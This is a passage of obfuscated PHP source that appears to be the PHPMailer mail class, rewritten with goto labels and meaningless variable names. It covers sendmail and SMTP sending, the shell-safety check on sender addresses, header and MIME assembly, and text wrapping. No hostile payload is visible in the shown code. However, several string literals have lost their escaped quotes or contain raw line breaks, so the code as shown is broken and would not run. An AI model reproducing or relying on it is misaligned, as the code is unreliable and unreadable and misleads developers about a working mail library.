            goto i_hwh; 
        } 
        $ZHuaw = "%s -oi -f%s -t"; 
        goto BCASs; 
        i_hwh: 
        $ZHuaw = "%s -f%s"; 
        BCASs: 
        FqJqv: 
        $DNKlZ = sprintf($ZHuaw, escapeshellcmd($this->Sendmail), $this->Sender); 
        if ($this->SingleTo) { 
            goto E9IWJ; 
        } 
        $kDC1N = @popen($DNKlZ, "w"); 
        if ($kDC1N) { 
            goto sX2NF; 
        } 
        throw new Exception($this->lang("execute") . $this->Sendmail, self::STOP_CRITICAL); 
        sX2NF: 
        fwrite($kDC1N, $y_KXY); 
        fwrite($kDC1N, $UlmlF); 
        $HYIC3 = pclose($kDC1N); 
        $this->doCallback($HYIC3 == 0, $this->to, $this->cc, $this->bcc, $this->Subject, $UlmlF, $this->From, []); 
        if (!(0 !== $HYIC3)) { 
            goto XVRk4; 
        } 
        throw new Exception($this->lang("execute") . $this->Sendmail, self::STOP_CRITICAL); 
        XVRk4: 
        goto oHlS7; 
        E9IWJ: 
        foreach ($this->SingleToArray as $DNZpI) { 
            $kDC1N = @popen($DNKlZ, "w"); 
            if ($kDC1N) { 
                goto QL8EW; 
            } 
            throw new Exception($this->lang("execute") . $this->Sendmail, self::STOP_CRITICAL); 
            QL8EW: 
            fwrite($kDC1N, "To: " . $DNZpI . "
"); 
            fwrite($kDC1N, $y_KXY); 
            fwrite($kDC1N, $UlmlF); 
            $HYIC3 = pclose($kDC1N); 
            $this->doCallback($HYIC3 == 0, [$DNZpI], $this->cc, $this->bcc, $this->Subject, $UlmlF, $this->From, []); 
            if (!(0 !== $HYIC3)) { 
                goto f01l2; 
            } 
            throw new Exception($this->lang("execute") . $this->Sendmail, self::STOP_CRITICAL); 
            f01l2: 
            AzNBV: 
        } 
        QuZ8u: 
        oHlS7: 
        return true; 
    } 
    protected static function isShellSafe($jm30w) 
    { 
        if (!(escapeshellcmd($jm30w) !== $jm30w or !in_array(escapeshellarg($jm30w), ["'{$jm30w}'", ""{$jm30w}""]))) { 
            goto nE0kh; 
        } 
        return false; 
        nE0kh: 
        $Z6HTu = strlen($jm30w); 
        $KJHmb = 0; 
        kxLKk: 
        if (!($KJHmb < $Z6HTu)) { 
            goto ZUm0_; 
        } 
        $MSPM2 = $jm30w[$KJHmb]; 
        if (!(!ctype_alnum($MSPM2) && strpos("@_-.", $MSPM2) === false)) { 
            goto bggzy; 
        } 
        return false; 
        bggzy: 
        WeToF: 
        ++$KJHmb; 
        goto kxLKk; 
        ZUm0_: 
        return true; 
    } 
    protected static function isPermittedPath($t1usk) 
    { 
        return !preg_match("#^[a-z]+://#i", $t1usk); 
    } 
    protected function mailSend($y_KXY, $UlmlF) 
    { 
        $GpJ9x = []; 
        foreach ($this->to as $EpIAw) { 
            $GpJ9x[] = $this->addrFormat($EpIAw); 
            HUm91: 
        } 
        WlgFy: 
        $g7_oI = implode(", ", $GpJ9x); 
        $s2iYx = null; 
        if (!(!empty($this->Sender) and static::validateAddress($this->Sender))) { 
            goto yWIuA; 
        } 
        if (!self::isShellSafe($this->Sender)) { 
            goto G0gnw; 
        } 
        $s2iYx = sprintf("-f%s", $this->Sender); 
        G0gnw: 
        yWIuA: 
        if (!(!empty($this->Sender) and static::validateAddress($this->Sender))) { 
            goto kRvXv; 
        } 
        $MDRr3 = ini_get("sendmail_from"); 
        ini_set("sendmail_from", $this->Sender); 
        kRvXv: 
        $HYIC3 = false; 
        if ($this->SingleTo and count($GpJ9x) > 1) { 
            goto lNfy4; 
        } 
        $HYIC3 = $this->mailPassthru($g7_oI, $this->Subject, $UlmlF, $y_KXY, $s2iYx); 
        $this->doCallback($HYIC3, $this->to, $this->cc, $this->bcc, $this->Subject, $UlmlF, $this->From, []); 
        goto diBAI; 
        lNfy4: 
        foreach ($GpJ9x as $DNZpI) { 
            $HYIC3 = $this->mailPassthru($DNZpI, $this->Subject, $UlmlF, $y_KXY, $s2iYx); 
            $this->doCallback($HYIC3, [$DNZpI], $this->cc, $this->bcc, $this->Subject, $UlmlF, $this->From, []); 
            UoOKs: 
        } 
        Kp2LM: 
        diBAI: 
        if (!isset($MDRr3)) { 
            goto zyHZB; 
        } 
        ini_set("sendmail_from", $MDRr3); 
        zyHZB: 
        if ($HYIC3) { 
            goto BjQYL; 
        } 
        throw new Exception($this->lang("instantiate"), self::STOP_CRITICAL); 
        BjQYL: 
        return true; 
    } 
    public function getSMTPInstance() 
    { 
        if (is_object($this->smtp)) { 
            goto hT39A; 
        } 
        $this->smtp = new SMTP(); 
        hT39A: 
        return $this->smtp; 
    } 
    public function setSMTPInstance(SMTP $P5wTz) 
    { 
        $this->smtp = $P5wTz; 
        return $this->smtp; 
    } 
    protected function smtpSend($y_KXY, $UlmlF) 
    { 
        $h7k31 = []; 
        if ($this->smtpConnect($this->SMTPOptions)) { 
            goto xj4Qf; 
        } 
        throw new Exception($this->lang("smtp_connect_failed"), self::STOP_CRITICAL); 
        xj4Qf: 
        if ('' == $this->Sender) { 
            goto Mez00; 
        } 
        $ZNZVL = $this->Sender; 
        goto vChiG; 
        Mez00: 
        $ZNZVL = $this->From; 
        vChiG: 
        if ($this->smtp->mail($ZNZVL)) { 
            goto TOwFs; 
        } 
        $this->setError($this->lang("from_failed") . $ZNZVL . " : " . implode(",", $this->smtp->getError())); 
        throw new Exception($this->ErrorInfo, self::STOP_CRITICAL); 
        TOwFs: 
        $Fa3tH = []; 
        foreach ([$this->to, $this->cc, $this->bcc] as $EDjOQ) { 
            foreach ($EDjOQ as $g7_oI) { 
                if (!$this->smtp->recipient($g7_oI[0], $this->dsn)) { 
                    goto Krqt1; 
                } 
                $JxyrV = true; 
                goto TmScf; 
                Krqt1: 
                $XLcA5 = $this->smtp->getError(); 
                $h7k31[] = ["to" => $g7_oI[0], "error" => $XLcA5["detail"]]; 
                $JxyrV = false; 
                TmScf: 
                $Fa3tH[] = ["issent" => $JxyrV, "to" => $g7_oI[0]]; 
                SpN3W: 
            } 
            MaIHE: 
            cwEc3: 
        } 
        rL3qk: 
        if (!(count($this->all_recipients) > count($h7k31) and !$this->smtp->data($y_KXY . $UlmlF))) { 
            goto miEoo; 
        } 
        throw new Exception($this->lang("data_not_accepted"), self::STOP_CRITICAL); 
        miEoo: 
        $t2gPF = $this->smtp->getLastTransactionID(); 
        if ($this->SMTPKeepAlive) { 
            goto St3Si; 
        } 
        $this->smtp->quit(); 
        $this->smtp->close(); 
        goto N0L7X; 
        St3Si: 
        $this->smtp->reset(); 
        N0L7X: 
        foreach ($Fa3tH as $SCnw3) { 
            $this->doCallback($SCnw3["issent"], [$SCnw3["to"]], [], [], $this->Subject, $UlmlF, $this->From, ["smtp_transaction_id" => $t2gPF]); 
            Ad_H0: 
        } 
        RiFFn: 
        if (!(count($h7k31) > 0)) { 
            goto Sjp89; 
        } 
        $lsf1w = ''; 
        foreach ($h7k31 as $hlUaG) { 
            $lsf1w .= $hlUaG["to"] . ": " . $hlUaG["error"]; 
            z6TRu: 
        } 
        pns32: 
        throw new Exception($this->lang("recipients_failed") . $lsf1w, self::STOP_CONTINUE); 
        Sjp89: 
        return true; 
    } 
    public function smtpConnect($p0n3v = null) 
    { 
        if (!(null === $this->smtp)) { 
            goto zmvS2; 
        } 
        $this->smtp = $this->getSMTPInstance(); 
        zmvS2: 
        if (!(null === $p0n3v)) { 
            goto htUX0; 
        } 
        $p0n3v = $this->SMTPOptions; 
        htUX0: 
        if (!$this->smtp->connected()) { 
            goto edV4r; 
        } 
        return true; 
        edV4r: 
        $this->smtp->setTimeout($this->Timeout); 
        $this->smtp->setDebugLevel($this->SMTPDebug); 
        $this->smtp->setDebugOutput($this->Debugoutput); 
        $this->smtp->setVerp($this->do_verp); 
        $iSLu_ = explode(";", $this->Host); 
        $MInsa = null; 
        foreach ($iSLu_ as $Ut2Hm) { 
            $U59rX = []; 
            if (preg_match("/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/", trim($Ut2Hm), $U59rX)) { 
                goto za566; 
            } 
            static::edebug($this->lang("connect_host") . " " . $Ut2Hm); 
            goto kq1A3; 
            za566: 
            if (static::isValidHost($U59rX[3])) { 
                goto OrlL2; 
            } 
            static::edebug($this->lang("connect_host") . " " . $Ut2Hm); 
            goto kq1A3; 
            OrlL2: 
            $PRVwO = ''; 
            $EZFto = $this->SMTPSecure; 
            $IrCJ6 = "tls" == $this->SMTPSecure; 
            if ("ssl" == $U59rX[2] or '' == $U59rX[2] and "ssl" == $this->SMTPSecure) { 
                goto lztFq; 
            } 
            if ("tls" == $U59rX[2]) { 
                goto WhJz4; 
            } 
            goto RAl0_; 
            lztFq: 
            $PRVwO = "ssl://"; 
            $IrCJ6 = false; 
            $EZFto = "ssl"; 
            goto RAl0_; 
            WhJz4: 
            $IrCJ6 = true; 
            $EZFto = "tls"; 
            RAl0_: 
            $kRP7e = defined("OPENSSL_ALGO_SHA256"); 
            if (!("tls" === $EZFto or "ssl" === $EZFto)) { 
                goto e3cFm; 
            } 
            if ($kRP7e) { 
                goto OTooz; 
            } 
            throw new Exception($this->lang("extension_missing") . "openssl", self::STOP_CRITICAL); 
            OTooz: 
            e3cFm: 
            $S1iUU = $U59rX[3]; 
            $qnls6 = $this->Port; 
            $sSX2q = (int) $U59rX[4]; 
            if (!($sSX2q > 0 and $sSX2q < 65536)) { 
                goto InCbx; 
            } 
            $qnls6 = $sSX2q; 
            InCbx: 
            if (!$this->smtp->connect($PRVwO . $S1iUU, $qnls6, $this->Timeout, $p0n3v)) { 
                goto e2gxd; 
            } 
            try { 
                if ($this->Helo) { 
                    goto Wofjn; 
                } 
                $njo9Y = $this->serverHostname(); 
                goto CIWu2; 
                Wofjn: 
                $njo9Y = $this->Helo; 
                CIWu2: 
                $this->smtp->hello($njo9Y); 
                if (!($this->SMTPAutoTLS and $kRP7e and "ssl" != $EZFto and $this->smtp->getServerExt("STARTTLS"))) { 
                    goto ezMyu; 
                } 
                $IrCJ6 = true; 
                ezMyu: 
                if (!$IrCJ6) { 
                    goto oE2B3; 
                } 
                if ($this->smtp->startTLS()) { 
                    goto yM2G9; 
                } 
                throw new Exception($this->lang("connect_host")); 
                yM2G9: 
                $this->smtp->hello($njo9Y); 
                oE2B3: 
                if (!$this->SMTPAuth) { 
                    goto DylJ8; 
                } 
                if ($this->smtp->authenticate($this->Username, $this->Password, $this->AuthType, $this->oauth)) { 
                    goto A_pcO; 
                } 
                throw new Exception($this->lang("authenticate")); 
                A_pcO: 
                DylJ8: 
                return true; 
            } catch (Exception $CsLop) { 
                $MInsa = $CsLop; 
                $this->edebug($CsLop->getMessage()); 
                $this->smtp->quit(); 
            } 
            e2gxd: 
            kq1A3: 
        } 
        Gypq5: 
        $this->smtp->close(); 
        if (!($this->exceptions and null !== $MInsa)) { 
            goto r6U90; 
        } 
        throw $MInsa; 
        r6U90: 
        return false; 
    } 
    public function smtpClose() 
    { 
        if (!(null !== $this->smtp)) { 
            goto Zk2Gs; 
        } 
        if (!$this->smtp->connected()) { 
            goto zj62d; 
        } 
        $this->smtp->quit(); 
        $this->smtp->close(); 
        zj62d: 
        Zk2Gs: 
    } 
    public function setLanguage($AEvmd = "en", $KJIOJ = '') 
    { 
        $g1XKM = ["br" => "pt_br", "cz" => "cs", "dk" => "da", "no" => "nb", "se" => "sv", "rs" => "sr", "tg" => "tl"]; 
        if (!isset($g1XKM[$AEvmd])) { 
            goto j35dg; 
        } 
        $AEvmd = $g1XKM[$AEvmd]; 
        j35dg: 
        $Y2wIZ = ["authenticate" => "SMTP Error: Could not authenticate.", "connect_host" => "SMTP Error: Could not connect to SMTP host.", "data_not_accepted" => "SMTP Error: data not accepted.", "empty_message" => "Message body empty", "encoding" => "Unknown encoding: ", "execute" => "Could not execute: ", "file_access" => "Could not access file: ", "file_open" => "File Error: Could not open file: ", "from_failed" => "The following From address failed: ", "instantiate" => "Could not instantiate mail function.", "invalid_address" => "Invalid address: ", "mailer_not_supported" => " mailer is not supported.", "provide_address" => "You must provide at least one recipient email address.", "recipients_failed" => "SMTP Error: The following recipients failed: ", "signing" => "Signing Error: ", "smtp_connect_failed" => "SMTP connect() failed.", "smtp_error" => "SMTP server error: ", "variable_set" => "Cannot set or reset variable: ", "extension_missing" => "Extension missing: "]; 
        if (!empty($KJIOJ)) { 
            goto m8OXK; 
        } 
        $KJIOJ = dirname(__DIR__) . DIRECTORY_SEPARATOR . "language" . DIRECTORY_SEPARATOR; 
        m8OXK: 
        if (preg_match("/^[a-z]{2}(?:_[a-zA-Z]{2})?$/", $AEvmd)) { 
            goto vLeII; 
        } 
        $AEvmd = "en"; 
        vLeII: 
        $k8ZTi = true; 
        $kVNV9 = $KJIOJ . "phpmailer.lang-" . $AEvmd . ".php"; 
        if (!("en" != $AEvmd)) { 
            goto fC8ie; 
        } 
        if (!static::isPermittedPath($kVNV9) || !file_exists($kVNV9)) { 
            goto JDjqN; 
        } 
        $k8ZTi = (include $kVNV9); 
        goto TKDWq; 
        JDjqN: 
        $k8ZTi = false; 
        TKDWq: 
        fC8ie: 
        $this->language = $Y2wIZ; 
        return (bool) $k8ZTi; 
    } 
    public function getTranslations() 
    { 
        return $this->language; 
    } 
    public function addrAppend($W7B1j, $KhyXp) 
    { 
        $UxZQI = []; 
        foreach ($KhyXp as $w1_0x) { 
            $UxZQI[] = $this->addrFormat($w1_0x); 
            BMii2: 
        } 
        kfCRy: 
        return $W7B1j . ": " . implode(", ", $UxZQI) . static::$LE; 
    } 
    public function addrFormat($KhyXp) 
    { 
        if (!empty($KhyXp[1])) { 
            goto RMtIc; 
        } 
        return $this->secureHeader($KhyXp[0]); 
        RMtIc: 
        return $this->encodeHeader($this->secureHeader($KhyXp[1]), "phrase") . " <" . $this->secureHeader($KhyXp[0]) . ">"; 
    } 
    public function wrapText($GRJNx, $Z6HTu, $nztM7 = false) 
    { 
        if ($nztM7) { 
            goto SRPwH; 
        } 
        $z537_ = static::$LE; 
        goto r3aYU; 
        SRPwH: 
        $z537_ = sprintf(" =%s", static::$LE); 
        r3aYU: 
        $WYQjz = static::CHARSET_UTF8 === strtolower($this->CharSet); 
        $w84QB = strlen(static::$LE); 
        $YEbrP = strlen(static::$LE); 
        $GRJNx = static::normalizeBreaks($GRJNx); 
        if (!(substr($GRJNx, -$w84QB) == static::$LE)) { 
            goto DUg2s; 
        } 
        $GRJNx = substr($GRJNx, 0, -$w84QB); 
        DUg2s: 
        $yCe67 = explode(static::$LE, $GRJNx); 
        $GRJNx = ''; 
        foreach ($yCe67 as $rYeep) { 
            $P7_u_ = explode(" ", $rYeep); 
            $CXBKr = ''; 
            $pYP6u = true; 
            foreach ($P7_u_ as $pXV8B) { 
                if ($nztM7 and strlen($pXV8B) > $Z6HTu) { 
                    goto WHU6j; 
                } 
                $UJjK0 = $CXBKr; 
                if ($pYP6u) { 
                    goto ctaRN; 
                } 
                $CXBKr .= " "; 
                ctaRN: 
                $CXBKr .= $pXV8B; 
                if (!(strlen($CXBKr) > $Z6HTu and '' != $UJjK0)) { 
                    goto YczSR; 
                } 
                $GRJNx .= $UJjK0 . $z537_; 
                $CXBKr = $pXV8B; 
                YczSR: 
                goto YBRZ7; 
                WHU6j: 
                $nR1Bq = $Z6HTu - strlen($CXBKr) - $YEbrP; 
                if ($pYP6u) { 
                    goto NKBaK; 
                } 
                if ($nR1Bq > 20) { 
                    goto aj9hC; 
                } 
                $GRJNx .= $CXBKr . $z537_; 
                goto Nza2p; 
                aj9hC: 
                $XtdVD = $nR1Bq; 
                if ($WYQjz) { 
                    goto Rz2cV; 
                } 
                if ("=" == substr($pXV8B, $XtdVD - 1, 1)) { 
                    goto xXkpL; 
                } 
                if ("=" == substr($pXV8B, $XtdVD - 2, 1)) { 
                    goto YC0aY; 
                } 
                goto mvNTY; 
                Rz2cV: 
                $XtdVD = $this->utf8CharBoundary($pXV8B, $XtdVD); 
                goto mvNTY; 
                xXkpL: 
                --$XtdVD; 
                goto mvNTY; 
                YC0aY: 
                $XtdVD -= 2; 
                mvNTY: 
                $TBxxK = substr($pXV8B, 0, $XtdVD); 
                $pXV8B = substr($pXV8B, $XtdVD); 
                $CXBKr .= " " . $TBxxK; 
                $GRJNx .= $CXBKr . sprintf("=%s", static::$LE); 
                Nza2p: 
                $CXBKr = ''; 
                NKBaK: 
                qfF81: 
                if (!(strlen($pXV8B) > 0)) { 
                    goto NaKu0; 
                } 
                if (!($Z6HTu <= 0)) { 
                    goto Thn_7; 
                } 
                goto NaKu0; 
                Thn_7: 
                $XtdVD = $Z6HTu; 
                if ($WYQjz) { 
                    goto tyhce; 
                } 
                if ("=" == substr($pXV8B, $XtdVD - 1, 1)) { 
                    goto L5hiV; 
                } 
                if ("=" == substr($pXV8B, $XtdVD - 2, 1)) { 
                    goto o2_Z_; 
                } 
                goto GiLSw; 
                tyhce: 
                $XtdVD = $this->utf8CharBoundary($pXV8B, $XtdVD); 
                goto GiLSw; 
                L5hiV: 
                --$XtdVD; 
                goto GiLSw; 
                o2_Z_: 
                $XtdVD -= 2; 
                GiLSw: 
                $TBxxK = substr($pXV8B, 0, $XtdVD); 
                $pXV8B = substr($pXV8B, $XtdVD); 
                if (strlen($pXV8B) > 0) { 
                    goto DxsXh; 
                } 
                $CXBKr = $TBxxK; 
                goto GeryG; 
                DxsXh: 
                $GRJNx .= $TBxxK . sprintf("=%s", static::$LE); 
                GeryG: 
                goto qfF81; 
                NaKu0: 
                YBRZ7: 
                $pYP6u = false; 
                Ja8TU: 
            } 
            FTH0N: 
            $GRJNx .= $CXBKr . static::$LE; 
            gDBIa: 
        } 
        fGHCm: 
        return $GRJNx; 
    } 
    public function utf8CharBoundary($btBz_, $zaeyx) 
    { 
        $l07Vf = false; 
        $NPMHP = 3; 
        F6taP: 
        if ($l07Vf) { 
            goto N2QUj; 
        } 
        $Qzm60 = substr($btBz_, $zaeyx - $NPMHP, $NPMHP); 
        $WSRQT = strpos($Qzm60, "="); 
        if (false !== $WSRQT) { 
            goto Dq62R; 
        } 
        $l07Vf = true; 
        goto ddjlq; 
        Dq62R: 
        $QysIZ = substr($btBz_, $zaeyx - $NPMHP + $WSRQT + 1, 2); 
        $QOchO = hexdec($QysIZ); 
        if ($QOchO < 128) { 
            goto WKaz9; 
        } 
        if ($QOchO >= 192) { 
            goto Niexk; 
        } 
        if ($QOchO < 192) { 
            goto EjYp1; 
        } 
        goto Y6crT; 
        WKaz9: 
        if (!($WSRQT > 0)) { 
            goto DtEHW; 
        } 
        $zaeyx -= $NPMHP - $WSRQT; 
        DtEHW: 
        $l07Vf = true; 
        goto Y6crT; 
        Niexk: 
        $zaeyx -= $NPMHP - $WSRQT; 
        $l07Vf = true; 
        goto Y6crT; 
        EjYp1: 
        $NPMHP += 3; 
        Y6crT: 
        ddjlq: 
        goto F6taP; 
        N2QUj: 
        return $zaeyx; 
    } 
    public function setWordWrap() 
    { 
        if (!($this->WordWrap < 1)) { 
            goto odN_E; 
        } 
        return; 
        odN_E: 
        switch ($this->message_type) { 
            case "alt": 
            case "alt_inline": 
            case "alt_attach": 
            case "alt_inline_attach": 
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap); 
                goto zKK0F; 
            default: 
                $this->Body = $this->wrapText($this->Body, $this->WordWrap); 
                goto zKK0F; 
        } 
        EGzJ5: 
        zKK0F: 
    } 
    public function createHeader() 
    { 
        $HYIC3 = ''; 
        $HYIC3 .= $this->headerLine("Date", '' == $this->MessageDate ? self::rfcDate() : $this->MessageDate); 
        if ($this->SingleTo) { 
            goto nXcpC; 
        } 
        if (count($this->to) > 0) { 
            goto Fgs64; 
        } 
        if (count($this->cc) == 0) { 
            goto VarS6; 
        } 
        goto encmk; 
        Fgs64: 
        if (!("mail" != $this->Mailer)) { 
            goto l8ZEo; 
        } 
        $HYIC3 .= $this->addrAppend("To", $this->to); 
        l8ZEo: 
        goto encmk; 
        VarS6: 
        $HYIC3 .= $this->headerLine("To", "undisclosed-recipients:;"); 
        encmk: 
        goto RZ0_V; 
        nXcpC: 
        if (!("mail" != $this->Mailer)) { 
            goto OhfFj; 
        } 
        foreach ($this->to as $EpIAw) { 
            $this->SingleToArray[] = $this->addrFormat($EpIAw); 
            bMFst: 
        } 
        iUz_S: 
        OhfFj: 
        RZ0_V: 
        $HYIC3 .= $this->addrAppend("From", [[trim($this->From), $this->FromName]]); 
        if (!(count($this->cc) > 0)) { 
            goto yvSbq; 
        } 
        $HYIC3 .= $this->addrAppend("Cc", $this->cc); 
        yvSbq: 
        if (!(("sendmail" == $this->Mailer or "qmail" == $this->Mailer or "mail" == $this->Mailer) and count($this->bcc) > 0)) { 
            goto QibOW; 
        } 
        $HYIC3 .= $this->addrAppend("Bcc", $this->bcc); 
        QibOW: 
        if (!(count($this->ReplyTo) > 0)) { 
            goto vUVi5; 
        } 
        $HYIC3 .= $this->addrAppend("Reply-To", $this->ReplyTo); 
        vUVi5: 
        if (!("mail" != $this->Mailer)) { 
            goto Ze1JQ; 
        } 
        $HYIC3 .= $this->headerLine("Subject", $this->encodeHeader($this->secureHeader($this->Subject))); 
        Ze1JQ: 
        if ('' != $this->MessageID and preg_match("/^<.*@.*>$/", $this->MessageID)) { 
            goto PO5RI; 
        } 
        $this->lastMessageID = sprintf("<%s@%s>", $this->uniqueid, $this->serverHostname()); 
        goto OFB3v; 
        PO5RI: 
        $this->lastMessageID = $this->MessageID; 
        OFB3v: 
        $HYIC3 .= $this->headerLine("Message-ID", $this->lastMessageID); 
        if (!(null !== $this->Priority)) { 
            goto gQU_h; 
        } 
        $HYIC3 .= $this->headerLine("X-Priority", $this->Priority); 
        gQU_h: 
        if ('' == $this->XMailer) { 
            goto phPpi; 
        } 
        $tIheQ = trim($this->XMailer); 
        if (!$tIheQ) { 
            goto NUB_i; 
        } 
        $HYIC3 .= $this->headerLine("X-Mailer", $tIheQ); 
        NUB_i: 
        goto oc1vX; 
        phPpi: 
        $HYIC3 .= $this->headerLine("X-Mailer", "PHPMailer " . self::VERSION); 
        oc1vX: 
        if (!('' != $this->ConfirmReadingTo)) { 
            goto EdKuA; 
        } 
        $HYIC3 .= $this->headerLine("Disposition-Notification-To", "<" . $this->ConfirmReadingTo . ">"); 
        EdKuA: 
        foreach ($this->CustomHeader as $y_KXY) { 
            $HYIC3 .= $this->headerLine(trim($y_KXY[0]), $this->encodeHeader(trim($y_KXY[1]))); 
            ZkYt8: 
        } 
        T_5ZI: 
        if ($this->sign_key_file) { 
            goto CN1hR; 
        } 
        $HYIC3 .= $this->headerLine("MIME-Version", "1.0"); 
        $HYIC3 .= $this->getMailMIME(); 
        CN1hR: 
        return $HYIC3; 
    } 
    public function getMailMIME() 
    { 
        $HYIC3 = ''; 
        $A1PuC = true; 
        switch ($this->message_type) { 
            case "inline": 
                $HYIC3 .= $this->headerLine("Content-Type", static::CONTENT_TYPE_MULTIPART_RELATED . ";"); 
                $HYIC3 .= $this->textLine("	boundary="" . $this->boundary[1] . """); 
                goto a9i8C; 
            case "attach": 
            case "inline_attach": 
            case "alt_attach": 
            case "alt_inline_attach": 
                $HYIC3 .= $this->headerLine("Content-Type", static::CONTENT_TYPE_MULTIPART_MIXED . ";"); 
                $HYIC3 .= $this->textLine("\x9boundary="" . $this->boundary[1] . """); 
                goto a9i8C; 
            case "alt": 
            case "alt_inline": 
                $HYIC3 .= $this->headerLine("Content-Type", static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ";"); 
                $HYIC3 .= $this->textLine("\x9boundary="" . $this->boundary[1] . """); 
                goto a9i8C; 
            default: 
                $HYIC3 .= $this->textLine("Content-Type: " . $this->ContentType . "; charset=" . $this->CharSet); 
                $A1PuC = false; 
                goto a9i8C; 
        } 
        xd4Du: 
        a9i8C: 
        if (!(static::ENCODING_7BIT != $this->Encoding)) { 
            goto L3nfi; 
        } 
        if ($A1PuC) { 
            goto dY47P; 
        } 
        $HYIC3 .= $this->headerLine("Content-Transfer-Encoding", $this->Encoding); 
        goto eLbUf; 
        dY47P: 
        if (!(static::ENCODING_8BIT == $this->Encoding)) { 
            goto uKVyx; 
        } 
        $HYIC3 .= $this->headerLine("Content-Transfer-Encoding", static::ENCODING_8BIT); 
        uKVyx: 
        eLbUf: 
        L3nfi: 
        if (!("mail" != $this->Mailer)) { 
            goto DhuAc; 
        } 
        $HYIC3 .= static::$LE; 
        DhuAc: 
        return $HYIC3; 
    } 
    public function getSentMIMEMessage() 
    { 
        return rtrim($this->MIMEHeader . $this->mailHeader, "

") . static::$LE . static::$LE . $this->MIMEBody; 
    } 
    protected function generateId() 
    { 
        $XtdVD = 32; 
        if (function_exists("random_bytes")) { 
            goto DHC32; 
        } 
        if (function_exists("openssl_random_pseudo_bytes")) { 
            goto U6ZWp; 
        } 
        $yaDF_ = hash("sha256", uniqid((string) mt_rand(), true), true); 
        goto qO6Qa; 
        DHC32: 
        $yaDF_ = random_bytes($XtdVD); 
        goto qO6Qa; 
        U6ZWp: 
        $yaDF_ = openssl_random_pseudo_bytes($XtdVD); 
        qO6Qa: 
        return str_replace(["=", "+", "/"], '', base64_encode(hash("sha256", $yaDF_, true))); 
    } 
    public function createBody() 
    { 
        $UlmlF = ''; 
        $this->uniqueid = $this->generateId(); 
        $this->boundary[1] = "b1_" . $this->uniqueid; 
        $this->boundary[2] = "b2_" . $this->uniqueid; 
        $this->boundary[3] = "b3_" . $this->uniqueid; 
        if (!$this->sign_key_file) { 
            goto hqkge; 
        } 
        $UlmlF .= $this->getMailMIME() . static::$LE; 
        hqkge: 
        $this->setWordWrap(); 
        $iNpJe = $this->Encoding; 
        $zAEu5 = $this->CharSet; 
        if (!(static::ENCODING_8BIT == $iNpJe and !$this->has8bitChars($this->Body))) { 
            goto j7mmA; 
        } 
        $iNpJe = static::ENCODING_7BIT; 
        $zAEu5 = "us-ascii"; 
        j7mmA: 
        if (!(static::ENCODING_BASE64 != $this->Encoding and static::hasLineLongerThanMax($this->Body))) { 
            goto xNZiP; 
        } 
        $iNpJe = static::ENCODING_QUOTED_PRINTABLE; 
        xNZiP: 
        $dB0CE = $this->Encoding; 
        $KPgOX = $this->CharSet; 
        if (!(static::ENCODING_8BIT == $dB0CE and !$this->has8bitChars($this->AltBody))) { 
            goto oZ2Gn; 
        } 
        $dB0CE = static::ENCODING_7BIT; 
        $KPgOX = "us-ascii"; 
        oZ2Gn: 
        if (!(static::ENCODING_BASE64 != $dB0CE and static::hasLineLongerThanMax($this->AltBody))) { 
            goto iGpi_; 
        } 
        $dB0CE = static::ENCODING_QUOTED_PRINTABLE; 
        iGpi_: 
        $x0NDr = "This is a multi-part message in MIME format." . static::$LE; 
        switch ($this->message_type) { 
            case "inline": 
                $UlmlF .= $x0NDr; 
                $UlmlF .= $this->getBoundary($this->boundary[1], $zAEu5, '', $iNpJe); 
                $UlmlF .= $this->encodeString($this->Body, $iNpJe); 
                $UlmlF .= static::$LE; 
                $UlmlF .= $this->attachAll("inline", $this->boundary[1]); 
                goto VweLU; 
            case "attach": 
                $UlmlF .= $x0NDr; 
                $UlmlF .= $this->getBoundary($this->boundary[1], $zAEu5, '', $iNpJe); 
                $UlmlF .= $this->encodeString($this->Body, $iNpJe); 
                $UlmlF .= static::$LE; 
                $UlmlF .= $this->attachAll("attachment", $this->boundary[1]); 
                goto VweLU; 
            case "inline_attach": 
                $UlmlF .= $x0NDr; 
                $UlmlF .= $this->textLine("--" . $this->boundary[1]); 
                $UlmlF .= $this->headerLine("Content-Type", static::CONTENT_TYPE_MULTIPART_RELATED . ";"); 
                $UlmlF .= $this->textLine("	boundary="" . $this->boundary[2] . """); 
                $UlmlF .= static::$LE; 
                $UlmlF .= $this->getBoundary($this->boundary[2], $zAEu5, '', $iNpJe); 
                $UlmlF .= $this->encodeString($this->Body, $iNpJe); 
                $UlmlF .= static::$LE; 
                $UlmlF .= $this->attachAll("inline", $this->boundary[2]); 
                $UlmlF .= static::$LE; 
                $UlmlF .= $this->attachAll("attachment", $this->boundary[1]); 
                goto VweLU; 
            case "alt": 
                $UlmlF .= $x0NDr; 
                $UlmlF .= $this->getBoundary($this->boundary[1], $KPgOX, static::CONTENT_TYPE_PLAINTEXT, $dB0CE); 
                $UlmlF .= $this->encodeString($this->AltBody, $dB0CE); 
                $UlmlF .= static::$LE; 
                $UlmlF .= $this->getBoundary($this->boundary[1], $zAEu5, static::CONTENT_TYPE_TEXT_HTML, $iNpJe); 
                $UlmlF .= $this->encodeString($this->Body, $iNpJe); 
                $UlmlF .= static::$LE; 
                if (empty($this->Ical)) { 
                    goto b1a_m; 
                } 
                $UlmlF .= $this->getBoundary($this->boundary[1], '', static::CONTENT_TYPE_TEXT_CALENDAR . "; method=REQUEST", ''); 
                $UlmlF .= $this->encodeString($this->Ical, $this->Encoding); 
                $UlmlF .= static::$LE; 
                b1a_m: 
                $UlmlF .= $this->endBoundary($this->boundary[1]); 
                goto VweLU; 
            case "alt_inline": 
                $UlmlF .= $x0NDr; 
                $UlmlF .= $this->getBoundary($this->boundary[1], $KPgOX, static::CONTENT_TYPE_PLAINTEXT, $dB0CE); 
                $UlmlF .= $this->encodeString($this->AltBody, $dB0CE); 
                $UlmlF .= static::$LE; 
                $UlmlF .= $this->textLine("--" . $this->boundary[1]); 
                $UlmlF .= $this->headerLine("Content-Type", static::CONTENT_TYPE_MULTIPART_RELATED . ";"); 
                $UlmlF .= $this->textLine("	boundary="" . $this->boundary[2] . """); 
                $UlmlF .= static::$LE; 
                $UlmlF .= $this->getBoundary($this->boundary[2], $zAEu5, static::CONTENT_TYPE_TEXT_HTML, $iNpJe); 
                $UlmlF .= $this->encodeString($this->Body, $iNpJe); 
                $UlmlF .= static::$LE; 
                $UlmlF .= $this->attachAll("inline", $this->boundary[2]); 
